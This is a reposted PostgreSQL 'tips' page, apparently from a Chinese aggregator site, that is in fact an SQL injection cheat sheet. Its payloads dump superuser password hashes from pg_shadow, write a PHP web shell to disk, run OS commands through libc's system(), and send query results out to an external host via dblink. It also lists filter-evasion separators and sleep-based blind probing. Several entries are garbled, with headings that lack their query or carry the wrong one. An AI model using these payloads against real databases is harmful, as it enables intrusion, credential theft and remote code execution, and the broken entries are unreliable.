postgresql 小技巧
Note: #PostgreSQL and PHP supports Batched Queries. Version: SELECT VERSION() Directories: SELECT current_setting(‘data_directory’) Users: SELECT user; Current Database: SELECT current_database(); Concatenation: SELECT 1||2||3; #Returns 123 Get Collation: SELECT pg_client_encoding(); #Returns your current encoding (collation). Change Collation: SELECT convert(‘foobar_utf8′,’UTF8′,’LATIN1′); #Converts foobar from utf8 to latin1. Wildcards in SELECT(s): SELECT foo FROM bar WHERE id LIKE ‘test%’; #Returns all COLUMN(s) starting with “test”. Regular Expression in SELECT(s): Returns all columns matching the regular expression. SELECT foo FROM bar WHERE id ~* ‘(moo|rawr).*’; SELECT Without Dublicates: SELECT DISTINCT foo FROM bar Counting Columns: SELECT COUNT(*) FROM foo.bar; #Returns the amount of rows from the table “foo.bar”. Get Amount of PostgreSQL Users: SELECT COUNT(*) FROM pg_catalog.pg_user Get PostgreSQL Users: SELECT usename FROM pg_user Get PostgreSQL User Privileges on Different Columns: SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges Get PostgreSQL User Privileges: SELECT usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_user Get PostgreSQL User Credentials & Privileges: Get PostgreSQL DBA Accounts: SELECT * FROM pg_shadow WHERE usesuper IS TRUE Get Databases: SELECT nspname FROM pg_namespace WHERE nspacl IS NOT NULL Get Databases & Tables: SELECT schemaname,tablename FROM pg_tables Get Databases,Tables & Columns: SELECT A Certain Row: SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 0; #Returns row 0. Conversion (Casting): SELECT CAST(’1′ AS INTEGER) #Converts the varchar “1″ to integer. Substring: SELECT SUBSTR(‘foobar’,1,3); #Returns foo. Hexadecimal Evasion: Not as fancy as in MySQL,but it sure works! SELECT decode(’41424344′,’hex’); #Returns ABCD. ASCII to Number: SELECT ASCII(‘A’); #Returns 65. Number to ASCII: SELECT CHR(65); #If Statement: Impossible in SELECT statements. SELECT (SELECT 1 WHERE 1=1); #Returns 1. Case Statement: May be used instead of the If-Statement. SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END; #Returns 1. Read File(s): CREATE TABLE file(content text); Write File(s): INSERT INTO file(content) VALUES (‘<?PHP $s=$_GET;@chdir($s[/'x/']);echo@system($s[/'y/'])?>’); Logical Operator(s): http://en.wikipedia.org/wiki/Logical_connective AND Comments: SELECT foo,bar FROM foo.bar/*Multi line comment*/ A few evasions/methods to use between your PostgreSQL statements: CR (%0D); #Carrier Return. LF (%0A); #Line Feed. Tab (%09); #The Tab-key. Space (%20); #Most commonly used. You know what a space is. Multiline Comment (/**/); #Well,as the name says. Parenthesis,( and ); #Can also be used as separators when used right. Parenthesis instead of space: As said two lines above,the use of parenthesis can be used as a separator. SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2)); Auto-Casting to Right Collation: SELECT CONVERT_TO(‘foobar’,pg_client_encoding()); Benchmark: Takes about 7.5 seconds to perform this logical operation. SELECT (||/(9999!)); Sleep: SELECT PG_SLEEP(5); #Sleeps the PostgreSQL database for 5 seconds. Get PostgreSQL IP: SELECT inet_server_addr() Get PostgreSQL Port: SELECT inet_server_port() Command Execution: CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′,‘system’ LANGUAGE ‘C’ STRICT; DNS Requests (OOB (Out-Of-Band)): SELECT * FROM dblink(‘host=www.your.host.com user=DB_Username dbname=DB’,‘SELECT YourQuery’) RETURNS (result TEXT); Having Fun With PostgreSQL:
(编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |